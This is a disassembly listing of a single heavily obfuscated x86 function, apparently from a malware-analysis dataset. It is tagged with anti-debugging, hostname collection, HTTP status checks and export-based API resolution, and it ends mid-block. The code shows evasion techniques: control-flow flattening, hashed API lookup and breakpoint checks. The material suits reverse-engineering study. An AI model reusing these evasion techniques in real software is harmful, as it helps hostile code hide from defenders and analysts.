Function at 0x435c88
Capabilities:
Check for software breakpoints
Check http status code
Get hostname
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x1f8
mov esi, esp
mov dword [esi], 0x7b829d7e
mov eax, dword [esi]
cmp eax, 0xf4663ab0
jle 0x435d2e
cmp eax, 0x2eac4377
jg 0x435dd1
cmp eax, 0x10f35982
jg 0x435ebd
cmp eax, 0x4552839
jg 0x436092
cmp eax, 0xfc921bf4
jg 0x4363d2
cmp eax, 0xf7f4c540
jg 0x4369f3
cmp eax, 0xf562b188
jle 0x4374f0
cmp eax, 0xf562b189
je 0x438550
cmp eax, 0xf59aa411
je 0x438567
cmp eax, 0xf7292251
jne 0x435c9f
imul ecx, dword [esi + 4], 0x3ac1d0
add ecx, 0x33
mov dword [esi + 4], ecx
mov eax, 0xc3c216ce
cmp ecx, 0x3d
jl 0x435d27
mov eax, 0x8a93974e
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0xb5399fb9
jle 0x435e5a
cmp eax, 0xd562ff24
jg 0x435f21
cmp eax, 0xc506f8e9
jg 0x4360f4
cmp eax, 0xbd121000
jg 0x43643e
cmp eax, 0xba19f149
jg 0x436a2a
cmp eax, 0xb6a34bc1
jle 0x437552
cmp eax, 0xb6a34bc2
je 0x438581
cmp eax, 0xb749251a
je 0x4385bf
cmp eax, 0xb8fc25e5
jne 0x435c9f
mov edi, dword [esi + 4]
add edi, 0xffffffa4
shr edi, 0xe
add edi, 0xffffffaf
mov dword [esi + 4], edi
push 0x8ad
push 0x3143
push edi
push 0xebb
call fcn.0043a620
add esp, 0x10
mov eax, 0x8410c221
cmp edi, 0xe0
jb 0x435dca
mov eax, 0x7fe3d7a
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0x4f3bd558
jle 0x435fc1
cmp eax, 0x673f437c
jg 0x43615f
cmp eax, 0x5966d6ab
jg 0x43648d
cmp eax, 0x55e9cc83
jg 0x436a67
cmp eax, 0x516304b8
jle 0x437581
cmp eax, 0x516304b9
je 0x4385fc
cmp eax, 0x524f7fc6
je 0x438613
cmp eax, 0x52f1c848
jne 0x435c9f
imul edi, dword [esi + 4], 0x87
add edi, 0x62
mov dword [esi + 4], edi
call fcn.00407731
push edi
call fcn.00435c88
add esp, 4
mov eax, 0xe38d4443
cmp edi, 0x2c
je 0x435e53
mov eax, 0xb8fc25e5
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0x9c2fd434
jle 0x43602f
cmp eax, 0xa7949b7d
jg 0x4361b8
cmp eax, 0xa098f6f0
jg 0x4364dd
cmp eax, 0x9dfccdd6
jg 0x436aad
cmp eax, 0x9cc835e9
jle 0x4375db
cmp eax, 0x9cc835ea
je 0x43864c
cmp eax, 0x9d4ee772
je 0x438676
cmp eax, 0x9ddfb641
jne 0x435c9f
mov dword [esi], 0xd5c46b10
jmp 0x435c9f
cmp eax, 0x1b9c2851
jg 0x436225
cmp eax, 0x15a09b8b
jg 0x43651f
cmp eax, 0x1314e9f4
jg 0x436ae4
cmp eax, 0x1171bc8f
jle 0x4375fc
cmp eax, 0x1171bc90
je 0x438690
cmp eax, 0x11f24231
je 0x4386c7
cmp eax, 0x12952900
jne 0x435c9f
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1d0]
mov dword [eax + 0x28], ecx
mov dword [esi], 0x579967ae
jmp 0x435c9f
cmp eax, 0xe2fec061
jg 0x436281
cmp eax, 0xd9df720c
jg 0x436572
cmp eax, 0xd73ceb26
jg 0x436b57
cmp eax, 0xd5e027da
jle 0x43767e
cmp eax, 0xd5e027db
je 0x43870e
cmp eax, 0xd5e1a957
je 0x43871c
cmp eax, 0xd6d9a043
jne 0x435c9f
mov edi, dword [esi + 4]
shl edi, 0xf
add edi, 0xffffff0e
shr edi, 0x19
mov dword [esi + 4], edi
push 0x1508
push 0x6a3
push edi
call fcn.00426156
add esp, 0xc
push 0x5b84
push 0x3517
push 0x2a24
push edi
call fcn.0043a620
add esp, 0x10
mov eax, 0x5c26d242
cmp edi, 0x1c
je 0x435fba
mov eax, 0xc5e14dae
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0x3df9b995
jle 0x4362f1
cmp eax, 0x444b13ff
jg 0x4365c3
cmp eax, 0x4160e19a
jg 0x436bba
cmp eax, 0x3f742006
jle 0x4376b9
cmp eax, 0x3f742007
je 0x438733
cmp eax, 0x408dfb0c
je 0x438751
cmp eax, 0x411b18cb
jne 0x435c9f
mov eax, dword [esi + 4]
mov ecx, 0xc6
add eax, ecx
mov dword [esi + 4], eax
push eax
call fcn.00435c88
add esp, 4
mov dword [esi], 0x444b1400
jmp 0x435c9f
cmp eax, 0x8c9a7c35
jle 0x43634d
cmp eax, 0x94fbdad9
jg 0x436634
cmp eax, 0x8efadeed
jg 0x436bf1
cmp eax, 0x8e6e61a7
jle 0x4376e8
cmp eax, 0x8e6e61a8
je 0x43877c
cmp eax, 0x8eaab81d
je 0x438798
cmp eax, 0x8ecd0d61
jne 0x435c9f
mov eax, dword [esi + 0x1ec]
mov word [eax], 0
mov dword [esi], 0x8509b7d8
jmp 0x435c9f
cmp eax, 0xb7f4f9b
jg 0x4366da
cmp eax, 0x7d607cf
jg 0x436c2b
cmp eax, 0x5d2b444
jle 0x437709
cmp eax, 0x5d2b445
je 0x4387ac
cmp eax, 0x6c7ffcc
je 0x4387dc
cmp eax, 0x6f32ba4
jne 0x435c9f
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x78], eax
mov eax, dword [esi + 0x78]
add eax, 0xb
mov dword [esi + 0x138], eax
mov dword [esi], 0x83fc6d78
jmp 0x435c9f
cmp eax, 0xcf0ed0fb
jg 0x436725
cmp eax, 0xc790f37d
jg 0x436d24
cmp eax, 0xc5e14dad
jle 0x437767
cmp eax, 0xc5e14dae
je 0x43880c
cmp eax, 0xc612c5ad
je 0x43882b
cmp eax, 0xc7289447
jne 0x435c9f
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xbc]
mov dword [esi + 0x1a4], eax
mov dword [esi], 0x2b64cc5d
jmp 0x435c9f
cmp eax, 0x73087032
jg 0x43677c
cmp eax, 0x6d1dd2c9
jg 0x436da4
cmp eax, 0x6a428a4d
jle 0x4377b7
cmp eax, 0x6a428a4e
je 0x43885c
cmp eax, 0x6b36a75c
je 0x4388a8
cmp eax, 0x6b38afcd
jne 0x435c9f
mov eax, dword [esi + 8]
shl eax, 0xf
add eax, 0xfffffff0
mov dword [esi + 8], eax
mov dword [esi], 0x3478b7e1
jmp 0x435c9f
cmp eax, 0xad5b1701
jg 0x4367cd
cmp eax, 0xab04b21c
jg 0x436df7
cmp eax, 0xa8be00b8
jle 0x4377db
cmp eax, 0xa8be00b9
je 0x4388b3
cmp eax, 0xa934331e
je 0x438907
cmp eax, 0xa953ddc3
jne 0x435c9f
mov eax, dword [esi + 8]
lea ecx, [eax + 9]
imul ecx, ecx
imul edx, ecx, 0x404b
add eax, 0xffffffa6
dec edx
mov dword [esi + 8], eax
mov eax, 0x444b1400
cmp ecx, edx
je 0x43621e
mov eax, 0x8da7a2e7
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0x2a06db1a
jg 0x436826
cmp eax, 0x1fcf7e49
jg 0x436e37
cmp eax, 0x1d8ef529
jle 0x43781f
cmp eax, 0x1d8ef52a
je 0x438930
cmp eax, 0x1f54ac28
je 0x43893b
cmp eax, 0x1f64fb16
jne 0x435c9f
mov eax, dword [esi + 8]
mov ecx, eax
shl ecx, 6
sub ecx, eax
sub ecx, eax
mov dword [esi + 8], ecx
mov dword [esi], 0x84554dd1
jmp 0x435c9f
cmp eax, 0xeb103754
jg 0x436899
cmp eax, 0xe663ea59
jg 0x436eb7
cmp eax, 0xe5444043
jle 0x437878
cmp eax, 0xe5444044
je 0x438952
cmp eax, 0xe5545476
je 0x4389be
cmp eax, 0xe57461c3
jne 0x435c9f
mov eax, dword [esi + 8]
shr eax, 4
imul ecx, eax, 0x33
imul eax, eax
imul edx, eax, 0x1fed
dec edx
add ecx, 0x13
mov dword [esi + 8], ecx
mov ecx, 0x7a18dbdd
cmp eax, edx
je 0x4362ea
mov ecx, 0x444b1400
mov dword [esi], ecx
jmp 0x435c9f
cmp eax, 0x35ce95f2
jle 0x4368de
cmp eax, 0x3825f49a
jg 0x436eee
cmp eax, 0x369d02ba
jle 0x4378b8
cmp eax, 0x369d02bb
je 0x4389fb
cmp eax, 0x36c848d1
je 0x438a21
cmp eax, 0x375c1a1a
jne 0x435c9f
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0x13c]
mov dword [esi + 0x140], eax
mov dword [esi], 0x719fe0ff
jmp 0x435c9f
cmp eax, 0x850da2ba
jle 0x436955
cmp eax, 0x87c33b4d
jg 0x436f2f
cmp eax, 0x86f9a22d
jle 0x437902
cmp eax, 0x86f9a22e
je 0x438a50
cmp eax, 0x8792d193
je 0x438a6f
cmp eax, 0x87978f14
jne 0x435c9f
push 4
push 0x47156b
push 0xd
push dword [esi + 0x98]
call fcn.0043a770
add esp, 0x10
mov eax, dword [esi + 0x3c]
mov ecx, dword [esi + 0x98]
movzx edx, word [ecx + 0xc]
mov word [eax + 0xc], dx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi], 0x5e631d97
jmp 0x435c9f
cmp eax, 0x127c5d6
jg 0x436f9e
cmp eax, 0xfee0ed43
jle 0x437953
cmp eax, 0xfee0ed44
je 0x438aaa
cmp eax, 0xff0f7585
je 0x438acc
cmp eax, 0xff6a3c06
jne 0x435c9f
push 5
push 0x47166d
push 0x1d
push dword [esi + 0xf0]
call fcn.0043a770
add esp, 0x10
push 0x1e
push dword [esi + 0xf0]
push dword [esi + 0x68]
call fcn.00443950
add esp, 0xc
mov dword [esi], 0xe1cbe720
jmp 0x435c9f
cmp eax, 0xc02aa3dd
jg 0x437007
cmp eax, 0xbde0d5cf
jle 0x437985
cmp eax, 0xbde0d5d0
je 0x438b0f
cmp eax, 0xbeafbe88
je 0x438b33
cmp eax, 0xbf762f50
jne 0x435c9f
imul eax, dword [esi + 8], 0x599c000
add eax, 0xffffff9e
mov dword [esi + 8], eax
mov dword [esi], 0xe0ce4395
jmp 0x435c9f
cmp eax, 0x5eb38df0
jg 0x43706b
cmp eax, 0x5ab416cf
jle 0x4379a6
cmp eax, 0x5ab416d0
je 0x438b5f
cmp eax, 0x5c26d242
je 0x438b80
cmp eax, 0x5e631d97
jne 0x435c9f
push dword [esi + 0x3c]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
mov dword [esi], 0xcaa99b05
jmp 0x435c9f
cmp eax, 0xa30b2c57
jg 0x4370a8
cmp eax, 0xa16d3974
jle 0x4379d5
cmp eax, 0xa16d3975
je 0x438b97
cmp eax, 0xa1a452a5
je 0x438bcb
cmp eax, 0xa2289e00
jne 0x435c9f
mov dword [esi], 0xc0cd4a34
jmp 0x435c9f
cmp eax, 0x18d9f314
jg 0x4370f0
cmp eax, 0x15fa78a3
jle 0x4379fa
cmp eax, 0x15fa78a4
je 0x438be7
cmp eax, 0x164f71a1
je 0x438c60
cmp eax, 0x1896314a
jne 0x435c9f
call fcn.00425924
push eax
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
mov dword [esi], 0x39083938
jmp 0x435c9f
cmp eax, 0xe112a8d7
jg 0x437151
cmp eax, 0xddae6693
jle 0x437a3d
cmp eax, 0xddae6694
je 0x438c94
cmp eax, 0xdea971bc
je 0x438cb8
cmp eax, 0xe0ce4395
jne 0x435c9f
mov eax, dword [esi + 0xa0]
add eax, 0x17
mov dword [esi + 0x168], eax
mov dword [esi], 0x3df9b996
jmp 0x435c9f
cmp eax, 0x47ca0204
jg 0x437199
cmp eax, 0x45dda33d
jle 0x437a78
cmp eax, 0x45dda33e
je 0x438d13
cmp eax, 0x472e3cc0
je 0x438d3b
cmp eax, 0x475d0cae
jne 0x435c9f
mov ecx, dword [esi + 8]
imul eax, ecx, 0xe5
imul eax, eax
imul edx, eax, 0x3ec3
imul ecx, ecx, 0x7280
dec edx
add ecx, 0xffffff07
shr ecx, 4
mov dword [esi + 8], ecx
mov ecx, 0x4bc4c343
cmp eax, edx
je 0x43662d
mov ecx, 0x9dfccdd7
mov dword [esi], ecx
jmp 0x435c9f
cmp eax, 0x996aa53d
jg 0x43724b
cmp eax, 0x9659fc8a
jle 0x437ac9
cmp eax, 0x9659fc8b
je 0x438d7a
cmp eax, 0x9858f92c
je 0x438da2
cmp eax, 0x98fbf505
jne 0x435c9f
mov eax, dword [esi + 0xe8]
mov ecx, dword [0x471636]
mov dword [eax + 8], ecx
mov ecx, dword [0x471632]
mov dword [eax + 4], ecx
mov ecx, dword [0x47162e]
mov dword [eax], ecx
push 8
push 0x47163a
push 0xc
push dword [esi + 0xe8]
call fcn.0043a770
add esp, 0x10
mov eax, dword [esi + 0x60]
mov ecx, dword [esi + 0xe8]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x60]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
mov dword [esi], 0xb11ae242
jmp 0x435c9f
cmp eax, 0xe67f839
jg 0x437299
cmp eax, 0xcb0fbef
jle 0x437aff
cmp eax, 0xcb0fbf0
je 0x438dad
cmp eax, 0xd57c854
je 0x438dbb
cmp eax, 0xdd53c68
jne 0x435c9f
mov eax, dword [esi + 0x1dc]
mov byte [eax], 0
mov dword [esi], 0x98fbf505
jmp 0x435c9f
cmp eax, 0xd1dcb68c
jg 0x4372e7
cmp eax, 0xd00f3da2
jle 0x437b6c
cmp eax, 0xd00f3da3
je 0x438e00
cmp eax, 0xd02223be
je 0x438e4c
cmp eax, 0xd05b7f21
jne 0x435c9f
mov eax, dword [esi + 0x28]
mov dword [eax], 0x8000
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x8c], eax
mov dword [esi], 0x6f4f0b35
jmp 0x435c9f
cmp eax, 0x7a18dbdc
jg 0x437327
cmp eax, 0x753381f6
jle 0x437bbf
cmp eax, 0x753381f7
je 0x438e62
cmp eax, 0x789b2fa9
je 0x438e6d
cmp eax, 0x79322a22
jne 0x435c9f
mov eax, dword [esi + 8]
shr eax, 0x16
imul eax, eax, 0x45
shr eax, 2
mov dword [esi + 8], eax
mov dword [esi], 0x7f31619f
jmp 0x435c9f
cmp eax, 0xb1a57c99
jg 0x437367
cmp eax, 0xb0fa851e
jle 0x437bfe
cmp eax, 0xb0fa851f
je 0x438eb9
cmp eax, 0xb11ae242
je 0x438ec4
cmp eax, 0xb14b28f1
jne 0x435c9f
mov eax, dword [esi + 0x14]
mov dword [eax], 0x100
push dword [esi + 0x14]
push dword [esi + 0x40]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov dword [esi], 0xa520232e
jmp 0x435c9f
cmp eax, 0x2cecd9f3
jg 0x4373a8
cmp eax, 0x2b64cc5c
jle 0x437c34
cmp eax, 0x2b64cc5d
je 0x438ee4
cmp eax, 0x2ba63e6d
je 0x438f2b
cmp eax, 0x2cb551f6
jne 0x435c9f
mov edi, dword [esi + 4]
add edi, 0x50
mov eax, edi
shr eax, 3
mov dword [esi + 4], eax
push eax
push 0x16db
push 0x76a
push 0xe26
call fcn.0043a770
add esp, 0x10
mov eax, 0xd9df720d
cmp edi, 0x78
jb 0x436892
mov eax, 0x98fbf505
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0xede0b7b0
jg 0x437401
cmp eax, 0xec44c6ed
jle 0x437c6a
cmp eax, 0xec44c6ee
je 0x438f48
cmp eax, 0xed1b63f6
je 0x438f72
cmp eax, 0xedd65c39
jne 0x435c9f
mov eax, dword [esi + 0x58]
mov dword [esi], 0xd5e1a957
jmp 0x435c9f
cmp eax, 0x3325a9b6
jle 0x43744c
cmp eax, 0x3361bb00
jle 0x437cbc
cmp eax, 0x3361bb01
je 0x438f8c
cmp eax, 0x3478b7e1
je 0x438fb9
cmp eax, 0x3597512b
jne 0x435c9f
mov edi, dword [esi + 4]
shl edi, 0x11
or edi, 0x3080
mov dword [esi + 4], edi
push 0x5dcd
push edi
push 0x1c5e
push 0x2280
call fcn.0043a770
add esp, 0x10
mov eax, 0x8efadeee
cmp edi, 0xbe
jl 0x43694e
mov eax, 0x86c08b96
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0x8390bd73
jle 0x43749b
cmp eax, 0x8410c220
jle 0x437d27
cmp eax, 0x8410c221
je 0x438fd6
cmp eax, 0x84554dd1
je 0x438fea
cmp eax, 0x8509b7d8
jne 0x435c9f
push 0x14
push 0x467bd0
push dword [esi + 0xf4]
call fcn.00443950
add esp, 0xc
push 7
push 0x467be4
push 0xa
push dword [esi + 0xf4]
call fcn.0043a620
add esp, 0x10
push 0x16
push dword [esi + 0xf4]
push dword [esi + 0x70]
call fcn.00443950
add esp, 0xc
push dword [esi + 0xc]
call fcn.0044fb70
add esp, 4
push eax
push dword [esi + 0xc]
push dword [esi + 0x70]
push dword [ebp + 8]
call fcn.00420284
add esp, 0x10
mov dword [esi], 0xd40c2a9b
jmp 0x435c9f
cmp eax, 0xf85c6f05
jle 0x437db7
cmp eax, 0xf85c6f06
je 0x438ffc
cmp eax, 0xf884d28d
je 0x439045
cmp eax, 0xfbe92400
jne 0x435c9f
mov dword [esi], 0xd88ce2bb
jmp 0x435c9f
cmp eax, 0xba6311c3
jle 0x437e15
cmp eax, 0xba6311c4
je 0x4390ac
cmp eax, 0xbae1f94a
je 0x4390c5
cmp eax, 0xbb71be43
jne 0x435c9f
mov eax, dword [esi + 0x40]
mov eax, dword [esi + 0x3c]
mov dword [esi], 0x5eb38df1
jmp 0x435c9f
cmp eax, 0x56e558fc
jle 0x437e6a
cmp eax, 0x56e558fd
je 0x4390fa
cmp eax, 0x579967ae
je 0x439114
cmp eax, 0x58d7c070
jne 0x435c9f
imul eax, dword [esi + 8], 0x42cc00
add eax, 0x3219000
mov dword [esi + 8], eax
mov dword [esi], 0xb218a53a
jmp 0x435c9f
cmp eax, 0xa0154fbb
jle 0x437e8b
cmp eax, 0xa0154fbc
je 0x43913a
cmp eax, 0xa01a6a88
je 0x439164
cmp eax, 0xa0519cc0
jne 0x435c9f
mov dword [esi], 0xc7e3c84f
jmp 0x435c9f
cmp eax, 0x150f2f50
jle 0x437edf
cmp eax, 0x150f2f51
je 0x4391a5
cmp eax, 0x154e76aa
je 0x4391e8
cmp eax, 0x157b8e02
jne 0x435c9f
mov edi, dword [esi + 4]
mov eax, 0xffffff27
add edi, eax
shr edi, 6
add edi, 0x1f7
shr edi, 8
mov dword [esi + 4], edi
push 0x2a57
push 0x3dbb
push edi
push 0x1666
call fcn.0043a770
add esp, 0x10
mov eax, 0x86f9a22e
cmp edi, 0x79
je 0x436b50
mov eax, 0xd57c854
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0xd7d12a06
jle 0x437f1e
cmp eax, 0xd7d12a07
je 0x439232
cmp eax, 0xd88ce2bb
je 0x439264
cmp eax, 0xd914716f
jne 0x435c9f
mov ecx, dword [esi + 8]
imul eax, ecx, 0x8d
imul eax, eax
imul edx, eax, 0x711d
dec edx
imul ecx, ecx, 0x2340000
and ecx, 0x80000000
mov dword [esi + 8], ecx
mov ecx, 0xc790f37e
cmp eax, edx
je 0x436bb3
mov ecx, 0xf884d28d
mov dword [esi], ecx
jmp 0x435c9f
cmp eax, 0x425df27f
jle 0x437f3f
cmp eax, 0x425df280
je 0x43927e
cmp eax, 0x427e6b9c
je 0x439289
cmp eax, 0x43745cb4
jne 0x435c9f
mov dword [esi], 0x36c848d1
jmp 0x435c9f
cmp eax, 0x92472d10
jle 0x437f8f
cmp eax, 0x92472d11
je 0x4392a9
cmp eax, 0x9487decb
je 0x4392df
cmp eax, 0x94d41fcc
jne 0x435c9f
mov eax, dword [esi + 0x54]
mov dword [esi], 0x6481c9f3
jmp 0x435c9f
cmp eax, 0x9846d7a
jle 0x437fc6
cmp eax, 0x9846d7b
je 0x439329
cmp eax, 0xa2b8fef
je 0x43934b
cmp eax, 0xa87d953
jne 0x435c9f
push eax
sub esp, 0x14
mov edi, esp
mov word [edi + 0x14], 0
push 0x14
push 0x467b10
push edi
call fcn.00443950
add esp, 0xc
push 4
push 0x467b24
mov eax, 0xa
push eax
push edi
call fcn.0043a620
add esp, 0x10
push edi
push 0x3d95e230
call fcn.0043e3a0
add esp, 8
xor edi, edi
inc edi
push edi
call eax
mov dword [esi + 0x120], eax
push edi
mov ebx, 0x20
push ebx
call fcn.0044e933
add esp, 8
mov dword [esi + 0xf8], eax
push edi
push ebx
call fcn.0044e933
add esp, 8
mov dword [esi + 0xfc], eax
mov ebx, 0xa
push ebx
push dword [esi + 0xf8]
push dword [esi + 0x128]
call fcn.0044d05c
add esp, 0xc
push ebx
push dword [esi + 0xfc]
push dword [esi + 0x120]
call fcn.0044d05c
add esp, 0xc
push edi
push 0x4000
call fcn.0044e933
add esp, 8
mov dword [esi + 0xc], eax
push dword [esi + 0xc]
call fcn.0044fb70
add esp, 4
mov dword [esi + 0x12c], eax
mov dword [esi], 0x1b9c2852
jmp 0x435c9f
cmp eax, 0xc7f149d0
jle 0x43800d
cmp eax, 0xc7f149d1
je 0x439381
cmp eax, 0xcaa99b05
je 0x43938c
cmp eax, 0xce7ace38
jne 0x435c9f
mov eax, dword [esi + 0x2c]
mov ecx, dword [esi + 0x90]
mov dl, byte [ecx + 8]
mov byte [eax + 8], dl
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x2c]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
push dword [esi + 0x104]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
push dword [esi + 0xc]
call fcn.0044fb70
add esp, 4
mov dword [esi + 0x15c], eax
mov dword [esi], 0xb3ca34d2
jmp 0x435c9f
cmp eax, 0x6f4f0b34
jle 0x43805b
cmp eax, 0x6f4f0b35
je 0x4393a7
cmp eax, 0x7131b82e
je 0x4393de
cmp eax, 0x719fe0ff
jne 0x435c9f
mov eax, dword [esi + 0x140]
mov word [eax], 0xa
push dword [esi + 0xc]
call fcn.0044fb70
add esp, 4
mov dword [esi + 0x144], eax
mov dword [esi], 0xede0b7b1
jmp 0x435c9f
cmp eax, 0xab8a5b54
jle 0x4380ae
cmp eax, 0xab8a5b55
je 0x439405
cmp eax, 0xac4128e7
je 0x43945e
cmp eax, 0xacd3253b
jne 0x435c9f
mov eax, dword [esi + 0x14]
mov dword [eax], 0x100
mov dword [esi], 0xb0fa851f
jmp 0x435c9f
cmp eax, 0x26aae735
jle 0x438107
cmp eax, 0x26aae736
je 0x439477
cmp eax, 0x26f04997
je 0x4394a4
cmp eax, 0x2709ba19
jne 0x435c9f
push 4
push 0x467ba8
push 0xc
push dword [esi + 0xb0]
call fcn.0043a620
add esp, 0x10
push dword [esi + 0xb0]
push 0x2f9959e0
call fcn.0043e3a0
add esp, 8
mov edi, 0x55
push edi
push dword [esi + 0x10c]
call eax
push 1
push edi
call fcn.0044e933
add esp, 8
mov dword [esi + 0x110], eax
mov dword [esi], 0x6d5ca6a6
jmp 0x435c9f
cmp eax, 0xe6fb631c
jle 0x438146
cmp eax, 0xe6fb631d
je 0x4394f3
cmp eax, 0xe910e548
je 0x43951e
cmp eax, 0xeb070364
jne 0x435c9f
mov dword [esi], 0x15a09b8c
jmp 0x435c9f
cmp eax, 0x398a740d
jle 0x438175
cmp eax, 0x398a740e
je 0x439536
cmp eax, 0x3b0a7754
je 0x439550
cmp eax, 0x3d690808
jne 0x435c9f
mov eax, dword [esi + 0x90]
mov byte [eax + 8], 0
mov dword [esi], 0x81e12f62
jmp 0x435c9f
cmp eax, 0x8a93974d
jle 0x4381a7
cmp eax, 0x8a93974e
je 0x43956c
cmp eax, 0x8b26ba60
je 0x4395f6
cmp eax, 0x8bd3325c
jne 0x435c9f
imul edi, dword [esi + 4], 0xad
add edi, 0x75
mov dword [esi + 4], edi
push 0x29f3
push 0x42f0
push 0x2c6c
push edi
call fcn.0043a770
add esp, 0x10
call fcn.00407731
mov eax, 0x7b829d7e
cmp edi, 0x9e
jb 0x436f97
mov eax, 0xe2e8a630
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0x188fec5
jle 0x4381e5
cmp eax, 0x188fec6
je 0x43960e
cmp eax, 0x229630c
je 0x439668
cmp eax, 0x31419f4
jne 0x435c9f
mov edi, dword [esi + 4]
shl edi, 0xe
add edi, 0xffffffed
mov dword [esi + 4], edi
push 0x1d41
push 0x3928
push edi
push 0x25f0
call fcn.0043a770
add esp, 0x10
mov eax, 0xede0b7b1
cmp edi, 0xa4
jl 0x437000
mov eax, 0x229630c
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0xc2428241
jle 0x438215
cmp eax, 0xc2428242
je 0x439692
cmp eax, 0xc3c216ce
je 0x4396c3
cmp eax, 0xc45b011c
jne 0x435c9f
mov eax, dword [esi + 8]
mov ecx, 0xffffff67
add eax, ecx
shr eax, 9
add eax, 0x19
imul ecx, eax, 0xacec
imul eax, eax
imul edx, eax, 0x647
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x1896314a
cmp edx, eax
je 0x437064
mov ecx, 0x408dfb0c
mov dword [esi], ecx
jmp 0x435c9f
cmp eax, 0x6481c9f2
jle 0x438242
cmp eax, 0x6481c9f3
je 0x4396e9
cmp eax, 0x64f6c2e5
je 0x439703
cmp eax, 0x65cb1f62
jne 0x435c9f
imul eax, dword [esi + 4], 0x2c000000
add eax, 0xffff8900
jmp 0x438b72
cmp eax, 0xa520232d
jle 0x43827b
cmp eax, 0xa520232e
je 0x43972d
cmp eax, 0xa63b2d64
je 0x439764
cmp eax, 0xa645f8e4
jne 0x435c9f
push dword [esi + 0x14]
push dword [esi + 0x48]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x4c]
mov dword [esi], 0xa2289e00
jmp 0x435c9f
cmp eax, 0x1adb96c8
jle 0x43829c
cmp eax, 0x1adb96c9
je 0x43977d
cmp eax, 0x1af124cf
je 0x439794
cmp eax, 0x1b484b2e
jne 0x435c9f
mov eax, dword [esi + 8]
mov ecx, 0x125
add eax, ecx
shr eax, 0xd
imul ecx, eax, 0x9c
imul eax, eax
imul edx, eax, 0x38cf
dec edx
mov dword [esi + 8], ecx
mov ecx, 0xe99d364
cmp edx, eax
je 0x43714a
mov ecx, 0xdd53c68
mov dword [esi], ecx
jmp 0x435c9f
cmp eax, 0xe2af09d7
jle 0x4382e1
cmp eax, 0xe2af09d8
je 0x43979f
cmp eax, 0xe2e8a630
je 0x4397c9
cmp eax, 0xe2f223ef
jne 0x435c9f
mov eax, dword [esi + 8]
shr eax, 0xc
and eax, 0xfffffff0
add eax, 0xa8
mov dword [esi + 8], eax
mov dword [esi], 0x9c9ae2ee
jmp 0x435c9f
cmp eax, 0x4bc4c342
jle 0x438327
cmp eax, 0x4bc4c343
je 0x4397e2
cmp eax, 0x4d3b7e04
je 0x439823
cmp eax, 0x4e4af96b
jne 0x435c9f
mov eax, 0x80000004
xor ecx, ecx
cpuid
mov dword [esi + 0xd8], eax
mov dword [esi + 0xdc], ebx
mov dword [esi + 0xe0], ecx
mov dword [esi + 0xe4], edx
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xd8]
mov dword [esi + 0x1c8], eax
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xdc]
mov dword [esi + 0x1cc], eax
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xe0]
mov dword [esi + 0x1d0], eax
mov dword [esi], 0x8b26ba60
jmp 0x435c9f
cmp eax, 0x9a40de0f
jle 0x438348
cmp eax, 0x9a40de10
je 0x439834
cmp eax, 0x9c15aef3
je 0x43985c
cmp eax, 0x9c2167db
jne 0x435c9f
mov ecx, dword [esi + 4]
shr ecx, 0x1a
add ecx, 0xffffffea
mov dword [esi + 4], ecx
mov eax, 0x2a06db1b
cmp ecx, 0x6f
je 0x437292
mov eax, 0xf884d28d
mov dword [esi], eax
jmp 0x435c9f
cmp eax, 0xf3a760b
jle 0x438377
cmp eax, 0xf3a760c
je 0x439876
cmp eax, 0xfd4792a
je 0x4398bb
cmp eax, 0x1078dc1c
jne 0x435c9f
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1a0]
mov dword [eax], ecx
mov eax, dword [esi + 0x10]
add eax, 4
mov dword [esi + 0x1b0], eax
mov dword [esi], 0x5d2b445
jmp 0x435c9f
cmp eax, 0xd35847e4
jle 0x4383a7
cmp eax, 0xd35847e5
je 0x4398e5
cmp eax, 0xd40c2a9b
je 0x439929
cmp eax, 0xd426a01b
jne 0x435c9f
mov eax, dword [esi + 0x70]
mov eax, dword [esi + 0x6c]
mov eax, dword [esi + 0x68]
mov dword [esi], 0x127c5d7
jmp 0x435c9f
cmp eax, 0x7c4f8090
jle 0x4383d9
cmp eax, 0x7c4f8091
je 0x439943
cmp eax, 0x7e22b5d6
je 0x43995c
cmp eax, 0x7f31619f
jne 0x435c9f
push eax
sub esp, 0xc
mov eax, esp
